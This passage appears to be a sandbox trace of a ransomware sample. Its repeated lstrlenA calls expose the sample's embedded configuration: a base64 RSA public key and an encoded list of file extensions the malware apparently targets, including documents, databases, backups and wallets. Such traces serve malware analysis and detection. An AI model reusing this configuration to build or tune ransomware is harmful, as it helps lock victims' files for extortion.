udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA